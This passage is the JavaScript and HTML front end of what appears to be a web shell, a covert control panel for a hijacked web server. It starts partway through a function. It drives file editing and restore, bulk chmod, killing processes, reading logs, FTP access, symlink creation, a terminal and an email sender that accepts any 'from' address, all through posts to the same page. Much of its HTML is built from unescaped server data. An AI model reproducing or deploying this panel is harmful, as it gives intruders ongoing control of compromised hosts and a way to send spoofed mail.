                fetch('', {
                    method: 'POST',
                    body: formData
                })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        resultDiv.innerHTML = '<div class="preview-code">' + 
                            data.content.replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\n/g, '<br>') + '</div>';
                    } else {
                        resultDiv.innerHTML = '<div style="color: #ff0000;">' + data.error + '</div>';
                    }
                })
                .catch(error => {
                    resultDiv.innerHTML = '<div style="color: #ff0000;">Error loading file</div>';
                });
            } else {
                resultDiv.innerHTML = '<div style="color: #ff0000;">Preview not available for this file type</div>';
            }
        }
        
        // Backup Manager
        function createBackup() {
            const source = document.getElementById('backup-source').value;
            const backupName = document.getElementById('backup-name').value;
            
            if (!source || !backupName) {
                alert('Source and backup name required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('backup_action', '1');
            formData.append('action', 'create');
            formData.append('source', source);
            formData.append('backup_name', backupName);
            
            const resultDiv = document.getElementById('backup-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Creating backup...</div>';
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                resultDiv.innerHTML = '<div style="color: ' + (data.success ? '#00ff00' : '#ff0000') + ';">' + 
                    data.message + '</div>';
                if (data.success && data.path) {
                    resultDiv.innerHTML += '<div style="color: #00ff00; margin-top: 10px;">Path: ' + data.path + '</div>';
                }
            });
        }
        
        function restoreBackup() {
            const backupFile = document.getElementById('restore-backup').value;
            const restorePath = document.getElementById('restore-path').value;
            
            if (!backupFile || !restorePath) {
                alert('Backup file and restore path required!');
                return;
            }
            
            if (!confirm('Restore backup? This may overwrite existing files!')) {
                return;
            }
            
            const formData = new FormData();
            formData.append('backup_action', '1');
            formData.append('action', 'restore');
            formData.append('source', backupFile);
            formData.append('restore_path', restorePath);
            
            const resultDiv = document.getElementById('backup-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Restoring backup...</div>';
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                resultDiv.innerHTML = '<div style="color: ' + (data.success ? '#00ff00' : '#ff0000') + ';">' + 
                    data.message + '</div>';
            });
        }
        
        // Process Manager
        function loadProcesses() {
            fetch('', {
                method: 'POST',
                headers: {'Content-Type': 'application/x-www-form-urlencoded'},
                body: 'get_processes=1'
            })
            .then(response => response.json())
            .then(data => {
                const listDiv = document.getElementById('process-list');
                if (data.processes && data.processes.length > 0) {
                    let html = '<table class="db-result-table"><thead><tr>';
                    if (data.processes[0].user) {
                        html += '<th>USER</th><th>PID</th><th>CPU%</th><th>MEM%</th><th>COMMAND</th><th>ACTION</th>';
                    } else {
                        html += '<th>NAME</th><th>PID</th><th>MEM</th><th>ACTION</th>';
                    }
                    html += '</tr></thead><tbody>';
                    data.processes.forEach(proc => {
                        html += '<tr>';
                        if (proc.user) {
                            html += '<td>' + proc.user + '</td><td>' + proc.pid + '</td><td>' + proc.cpu + '</td><td>' + proc.mem + '</td>';
                            html += '<td>' + proc.command.substring(0, 50) + '</td>';
                        } else {
                            html += '<td>' + proc.name + '</td><td>' + proc.pid + '</td><td>' + proc.mem + '</td>';
                        }
                        html += '<td><button onclick="killProcess(' + proc.pid + ')" class="btn btn-danger" style="padding: 2px 5px; font-size: 10px;">KILL</button></td>';
                        html += '</tr>';
                    });
                    html += '</tbody></table>';
                    listDiv.innerHTML = html;
                } else {
                    listDiv.innerHTML = '<div style="color: #ff0000;">No processes found</div>';
                }
            });
        }
        
        function killProcess(pid) {
            if (confirm('Kill process ' + pid + '?')) {
                const formData = new FormData();
                formData.append('kill_process', '1');
                formData.append('pid', pid);
                fetch('', { method: 'POST', body: formData })
                    .then(response => response.json())
                    .then(data => {
                        alert(data.output || 'Process killed');
                        loadProcesses();
                    });
            }
        }
        
        // Log Viewer
        let logAutoRefresh = false;
        let logInterval = null;
        
        function readLog() {
            const logFile = document.getElementById('log-file').value;
            const lines = document.getElementById('log-lines').value;
            const filter = document.getElementById('log-filter').value;
            
            if (!logFile) {
                alert('Log file required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('read_log', '1');
            formData.append('log_file', logFile);
            formData.append('lines', lines);
            if (filter) formData.append('filter', filter);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    const contentDiv = document.getElementById('log-content');
                    if (data.success) {
                        contentDiv.innerHTML = data.lines.join('\n').replace(/\n/g, '<br>');
                        contentDiv.scrollTop = contentDiv.scrollHeight;
                    } else {
                        contentDiv.innerHTML = '<div style="color: #ff0000;">' + data.error + '</div>';
                    }
                });
        }
        
        function autoRefreshLog() {
            const btn = document.getElementById('auto-refresh-btn');
            if (!logAutoRefresh) {
                logAutoRefresh = true;
                btn.textContent = 'AUTO REFRESH ON';
                btn.style.background = '#00ff00';
                btn.style.color = '#000';
                logInterval = setInterval(readLog, 3000);
            } else {
                logAutoRefresh = false;
                btn.textContent = 'AUTO REFRESH OFF';
                btn.style.background = '';
                btn.style.color = '';
                clearInterval(logInterval);
            }
        }
        
        // Multi-File Operations
        document.getElementById('multi-action').addEventListener('change', function() {
            document.getElementById('multi-chmod-group').style.display = 
                (this.value === 'chmod') ? 'block' : 'none';
            document.getElementById('multi-target-group').style.display = 
                (this.value === 'copy' || this.value === 'move') ? 'block' : 'none';
        });
        
        function executeMultiAction() {
            const files = document.getElementById('multi-files').value.split('\n').filter(f => f.trim());
            const action = document.getElementById('multi-action').value;
            
            if (files.length === 0) {
                alert('Files required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('multi_file_action', '1');
            formData.append('action', action);
            files.forEach(f => formData.append('files[]', f.trim()));
            
            if (action === 'chmod') {
                formData.append('perms', document.getElementById('multi-perms').value);
            }
            if (action === 'copy' || action === 'move') {
                formData.append('target', document.getElementById('multi-target').value);
            }
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    const resultDiv = document.getElementById('multi-result');
                    let html = '<div style="color: #00ff00;">Results:</div>';
                    data.results.forEach(r => {
                        html += '<div style="color: ' + (r.success ? '#00ff00' : '#ff0000') + ';">' + 
                            r.file + ': ' + (r.success ? 'OK' : 'FAILED') + '</div>';
                    });
                    resultDiv.innerHTML = html;
                });
        }
        
        // File Comparison
        function compareFiles() {
            const file1 = document.getElementById('compare-file1').value;
            const file2 = document.getElementById('compare-file2').value;
            
            if (!file1 || !file2) {
                alert('Both files required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('compare_files', '1');
            formData.append('file1', file1);
            formData.append('file2', file2);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    const resultDiv = document.getElementById('compare-result');
                    if (data.success) {
                        if (data.identical) {
                            resultDiv.innerHTML = '<div style="color: #00ff00;">Files are IDENTICAL</div>';
                        } else {
                            let html = '<div style="color: #00ff00;">Files differ: ' + data.diff_count + ' differences</div>';
                            html += '<div style="color: #00ff00;">File1: ' + data.file1_lines + ' lines, File2: ' + data.file2_lines + ' lines</div>';
                            html += '<div style="max-height: 400px; overflow-y: auto; margin-top: 10px;">';
                            data.diff.slice(0, 50).forEach(diff => {
                                html += '<div style="padding: 5px; border-bottom: 1px solid #333; font-size: 11px;">';
                                html += '<strong>Line ' + diff.line + ':</strong><br>';
                                html += '<span style="color: #ff0000;">- ' + (diff.file1 || '(empty)') + '</span><br>';
                                html += '<span style="color: #00ff00;">+ ' + (diff.file2 || '(empty)') + '</span>';
                                html += '</div>';
                            });
                            html += '</div>';
                            resultDiv.innerHTML = html;
                        }
                    } else {
                        resultDiv.innerHTML = '<div style="color: #ff0000;">' + data.error + '</div>';
                    }
                });
        }
        
        // Permissions Calculator
        function calculatePerms() {
            const input = document.getElementById('perms-input').value;
            const type = document.getElementById('perms-type').value;
            
            if (!input) {
                alert('Input required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('calc_perms', '1');
            formData.append('input', input);
            formData.append('type', type);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    const resultDiv = document.getElementById('perms-result');
                    resultDiv.innerHTML = '<div style="color: #00ff00;">';
                    resultDiv.innerHTML += '<strong>Octal:</strong> ' + data.octal + '<br>';
                    resultDiv.innerHTML += '<strong>Symbolic:</strong> ' + data.symbolic + '<br>';
                    resultDiv.innerHTML += '<strong>Decimal:</strong> ' + data.decimal + '<br>';
                    resultDiv.innerHTML += '</div>';
                });
        }
        
        // FTP Manager
        function connectFTP() {
            const host = document.getElementById('ftp-host').value;
            const port = document.getElementById('ftp-port').value;
            const user = document.getElementById('ftp-user').value;
            const pass = document.getElementById('ftp-pass').value;
            
            const formData = new FormData();
            formData.append('ftp_connect', '1');
            formData.append('ftp_host', host);
            formData.append('ftp_port', port);
            formData.append('ftp_user', user);
            formData.append('ftp_pass', pass);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    alert(data.message);
                    if (data.success) {
                        document.getElementById('ftp-connect-section').style.display = 'none';
                        document.getElementById('ftp-workspace').style.display = 'block';
                    }
                });
        }
        
        function disconnectFTP() {
            document.getElementById('ftp-connect-section').style.display = 'block';
            document.getElementById('ftp-workspace').style.display = 'none';
            document.getElementById('ftp-list').innerHTML = '';
        }
        
        function listFTP() {
            const path = document.getElementById('ftp-path').value;
            const formData = new FormData();
            formData.append('ftp_list', '1');
            formData.append('path', path);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    const listDiv = document.getElementById('ftp-list');
                    if (data.success) {
                        let html = '<div style="color: #00ff00;">Files:</div>';
                        data.files.forEach(file => {
                            html += '<div style="padding: 5px; border-bottom: 1px solid #333; color: #00ff00;">' + file + '</div>';
                        });
                        listDiv.innerHTML = html;
                    } else {
                        listDiv.innerHTML = '<div style="color: #ff0000;">' + data.error + '</div>';
                    }
                });
        }
        
        // Security Scanner
        function securityScan() {
            const scanDir = document.getElementById('scan-dir').value;
            const scanType = document.getElementById('scan-type').value;
            
            const formData = new FormData();
            formData.append('security_scan', '1');
            formData.append('scan_dir', scanDir);
            formData.append('scan_type', scanType);
            
            const resultDiv = document.getElementById('security-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Scanning...</div>';
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    if (data.issues && data.issues.length > 0) {
                        let html = '<div style="color: #ff0000; margin-bottom: 10px;">Found ' + data.count + ' issues:</div>';
                        data.issues.forEach(issue => {
                            const color = issue.severity === 'high' ? '#ff0000' : '#ffaa00';
                            html += '<div style="padding: 10px; margin: 5px 0; border-left: 3px solid ' + color + '; background: #111;">';
                            html += '<strong style="color: ' + color + ';">[' + issue.severity.toUpperCase() + ']</strong> ';
                            html += '<span style="color: #00ff00;">' + issue.file + '</span><br>';
                            html += '<span style="color: #666;">' + issue.issue + '</span>';
                            html += '</div>';
                        });
                        resultDiv.innerHTML = html;
                    } else {
                        resultDiv.innerHTML = '<div style="color: #00ff00;">No issues found!</div>';
                    }
                });
        }
        
        // Symbolic Link Manager
        function createSymlink() {
            const target = document.getElementById('symlink-target').value;
            const linkName = document.getElementById('symlink-name').value;
            
            if (!target || !linkName) {
                alert('Target and link name required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('symlink_action', '1');
            formData.append('action', 'create');
            formData.append('target', target);
            formData.append('link', linkName);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    alert(data.message);
                    if (data.success) {
                        document.getElementById('symlink-target').value = '';
                        document.getElementById('symlink-name').value = '';
                        listSymlinks();
                    }
                });
        }
        
        function listSymlinks() {
            const dir = document.getElementById('symlink-dir').value;
            
            const formData = new FormData();
            formData.append('symlink_action', '1');
            formData.append('action', 'list');
            formData.append('dir', dir);
            
            const listDiv = document.getElementById('symlink-list');
            listDiv.innerHTML = '<div style="color: #00ff00;">Loading...</div>';
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    if (data.success && data.links.length > 0) {
                        let html = '<table class="db-result-table"><thead><tr><th>NAME</th><th>TARGET</th><th>STATUS</th><th>ACTION</th></tr></thead><tbody>';
                        data.links.forEach(link => {
                            html += '<tr>';
                            html += '<td>' + link.name + '</td>';
                            html += '<td>' + link.target + '</td>';
                            html += '<td style="color: ' + (link.broken ? '#ff0000' : '#00ff00') + ';">' + (link.broken ? 'BROKEN' : 'OK') + '</td>';
                            html += '<td><button onclick="deleteSymlink(\'' + link.path + '\')" class="btn btn-danger" style="padding: 2px 5px; font-size: 10px;">DELETE</button></td>';
                            html += '</tr>';
                        });
                        html += '</tbody></table>';
                        listDiv.innerHTML = html;
                    } else {
                        listDiv.innerHTML = '<div style="color: #666;">No symbolic links found</div>';
                    }
                });
        }
        
        function deleteSymlink(linkPath) {
            if (confirm('Delete symbolic link?')) {
                const formData = new FormData();
                formData.append('symlink_action', '1');
                formData.append('action', 'delete');
                formData.append('link', linkPath);
                
                fetch('', { method: 'POST', body: formData })
                    .then(response => response.json())
                    .then(data => {
                        alert(data.message);
                        listSymlinks();
                    });
            }
        }
        
        // CSV Viewer/Editor
        let csvData = {headers: [], rows: []};
        
        function loadCSV() {
            const file = document.getElementById('csv-file').value;
            if (!file) {
                alert('File path required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('csv_action', '1');
            formData.append('action', 'read');
            formData.append('file', file);
            
            const resultDiv = document.getElementById('csv-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Loading...</div>';
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        csvData = {headers: data.headers, rows: data.rows};
                        renderCSV();
                    } else {
                        resultDiv.innerHTML = '<div style="color: #ff0000;">' + data.error + '</div>';
                    }
                });
        }
        
        function renderCSV() {
            const resultDiv = document.getElementById('csv-result');
            let html = '<div style="margin-bottom: 10px;"><button onclick="saveCSV()" class="btn btn-success">SAVE</button></div>';
            html += '<div style="overflow-x: auto; max-height: 500px; overflow-y: auto;">';
            html += '<table class="db-result-table"><thead><tr>';
            csvData.headers.forEach((h, i) => {
                html += '<th><input type="text" value="' + h + '" onchange="updateCSVHeader(' + i + ', this.value)" style="background: #000; color: #00ff00; border: 1px solid #333; padding: 5px; width: 100%;"></th>';
            });
            html += '</tr></thead><tbody>';
            csvData.rows.forEach((row, rowIdx) => {
                html += '<tr>';
                row.forEach((cell, cellIdx) => {
                    html += '<td><input type="text" value="' + cell + '" onchange="updateCSVCell(' + rowIdx + ', ' + cellIdx + ', this.value)" style="background: #000; color: #00ff00; border: 1px solid #333; padding: 5px; width: 100%;"></td>';
                });
                html += '</tr>';
            });
            html += '</tbody></table></div>';
            resultDiv.innerHTML = html;
        }
        
        function updateCSVHeader(index, value) {
            csvData.headers[index] = value;
        }
        
        function updateCSVCell(row, col, value) {
            if (!csvData.rows[row]) csvData.rows[row] = [];
            csvData.rows[row][col] = value;
        }
        
        function saveCSV() {
            const file = document.getElementById('csv-file').value;
            if (!file) {
                alert('File path required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('csv_action', '1');
            formData.append('action', 'save');
            formData.append('file', file);
            formData.append('headers', JSON.stringify(csvData.headers));
            formData.append('rows', JSON.stringify(csvData.rows));
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    alert(data.success ? 'Saved!' : 'Error: ' + data.error);
                });
        }
        
        // Error Log Analyzer
        function analyzeErrorLog() {
            const logFile = document.getElementById('errorlog-file').value;
            const filter = document.getElementById('errorlog-filter').value;
            
            if (!logFile) {
                alert('Log file required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('analyze_log', '1');
            formData.append('log_file', logFile);
            formData.append('filter', filter);
            
            const resultDiv = document.getElementById('errorlog-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Analyzing...</div>';
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        let html = '<div style="margin-bottom: 15px;">';
                        html += '<div style="color: #00ff00;">Total Lines: ' + data.stats.total + '</div>';
                        html += '<div style="color: #ff0000;">Errors: ' + data.stats.errors + '</div>';
                        html += '<div style="color: #ffaa00;">Warnings: ' + data.stats.warnings + '</div>';
                        html += '<div style="color: #ffff00;">Notices: ' + data.stats.notices + '</div>';
                        html += '</div>';
                        
                        let items = [];
                        if (filter === 'all' || filter === 'error') items = items.concat(data.errors);
                        if (filter === 'all' || filter === 'warning') items = items.concat(data.warnings);
                        if (filter === 'all' || filter === 'notice') items = items.concat(data.notices);
                        if (filter === 'all') items = items.concat(data.others);
                        
                        html += '<div style="max-height: 500px; overflow-y: auto;">';
                        items.forEach(item => {
                            html += '<div style="padding: 5px; margin: 3px 0; border-left: 2px solid #333; background: #111; font-size: 11px;">';
                            html += '<span style="color: #666;">Line ' + item.line + ':</span> ';
                            html += '<span style="color: #00ff00;">' + item.text.substring(0, 200) + '</span>';
                            html += '</div>';
                        });
                        html += '</div>';
                        resultDiv.innerHTML = html;
                    } else {
                        resultDiv.innerHTML = '<div style="color: #ff0000;">' + data.error + '</div>';
                    }
                });
        }
        
        // Advanced Code Editor
        function loadCodeEditor() {
            const file = document.getElementById('codeeditor-file').value;
            if (!file) {
                alert('File path required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('get_file_content', '1');
            formData.append('file_path', file);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        document.getElementById('codeeditor-content').value = data.content;
                    } else {
                        document.getElementById('codeeditor-content').value = 'Error: ' + (data.error || 'Could not load file');
                    }
                });
        }
        
        function saveCodeEditor() {
            const file = document.getElementById('codeeditor-file').value;
            const content = document.getElementById('codeeditor-content').value;
            
            if (!file) {
                alert('File path required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('save_content', '1');
            formData.append('file_path', file);
            formData.append('content', content);
            
            fetch('', { method: 'POST', body: formData })
                .then(response => {
                    alert('Saved!');
                    window.location.reload();
                });
        }
        
        function formatCode() {
            const content = document.getElementById('codeeditor-content').value;
            const lang = document.getElementById('codeeditor-lang').value;
            
            if (lang === 'json') {
                try {
                    const parsed = JSON.parse(content);
                    document.getElementById('codeeditor-content').value = JSON.stringify(parsed, null, 2);
                } catch(e) {
                    alert('Invalid JSON');
                }
            } else {
                alert('Formatting available for JSON only');
            }
        }
        
        function findReplace() {
            const find = prompt('Find:');
            if (!find) return;
            const replace = prompt('Replace with:');
            const content = document.getElementById('codeeditor-content');
            content.value = content.value.replace(new RegExp(find, 'g'), replace);
        }
        
        // Email Tester
        function sendTestEmail() {
            const to = document.getElementById('email-to').value;
            const from = document.getElementById('email-from').value;
            const subject = document.getElementById('email-subject').value;
            const message = document.getElementById('email-message').value;
            
            if (!to) {
                alert('Recipient required!');
                return;
            }
            
            const formData = new FormData();
            formData.append('test_email', '1');
            formData.append('to', to);
            formData.append('from', from);
            formData.append('subject', subject);
            formData.append('message', message);
            
            const resultDiv = document.getElementById('email-result');
            resultDiv.innerHTML = '<div style="color: #00ff00;">Sending...</div>';
            
            fetch('', { method: 'POST', body: formData })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        resultDiv.innerHTML = '<div style="color: #00ff00;">' + data.message + '</div>';
                    } else {
                        resultDiv.innerHTML = '<div style="color: #ff0000;">' + data.error + '</div>';
                    }
                });
        }
        
        // Multi-File Selection in File Manager
        function toggleSelectAll() {
            const selectAll = document.getElementById('select-all');
            const checkboxes = document.querySelectorAll('.file-checkbox');
            checkboxes.forEach(cb => cb.checked = selectAll.checked);
            updateSelectedFiles();
        }
        
        function updateSelectedFiles() {
            const checkboxes = document.querySelectorAll('.file-checkbox:checked');
            const count = checkboxes.length;
            const btn = document.getElementById('multi-file-btn');
            const countSpan = document.getElementById('selected-count');
            
            if (count > 0) {
                btn.style.display = 'inline-block';
                countSpan.textContent = count;
            } else {
                btn.style.display = 'none';
            }
        }
        
        function showMultiFileActions() {
            const checkboxes = document.querySelectorAll('.file-checkbox:checked');
            const files = Array.from(checkboxes).map(cb => cb.value);
            
            if (files.length === 0) {
                alert('No files selected!');
                return;
            }
            
            // Copy files to multi-file operations tab
            document.getElementById('multi-files').value = files.join('\n');
            
            // Switch to multi-file tab
            document.querySelectorAll('.tab').forEach(tab => tab.classList.remove('active'));
            document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
            document.querySelector('[onclick="showTab(\'multifile\')"]').classList.add('active');
            document.getElementById('multifile').classList.add('active');
        }
        
        // Sayfa yüklendiğinde System Info'yu yükle (eğer aktif tab ise)
        document.addEventListener('DOMContentLoaded', function() {
            const activeTab = document.querySelector('.tab-content.active');
            if (activeTab && activeTab.id === 'systeminfo') {
                loadSystemInfo();
            }
            if (activeTab && activeTab.id === 'terminal') {
                loadCommandHistory();
            }
        });
    </script>
</body>
</html>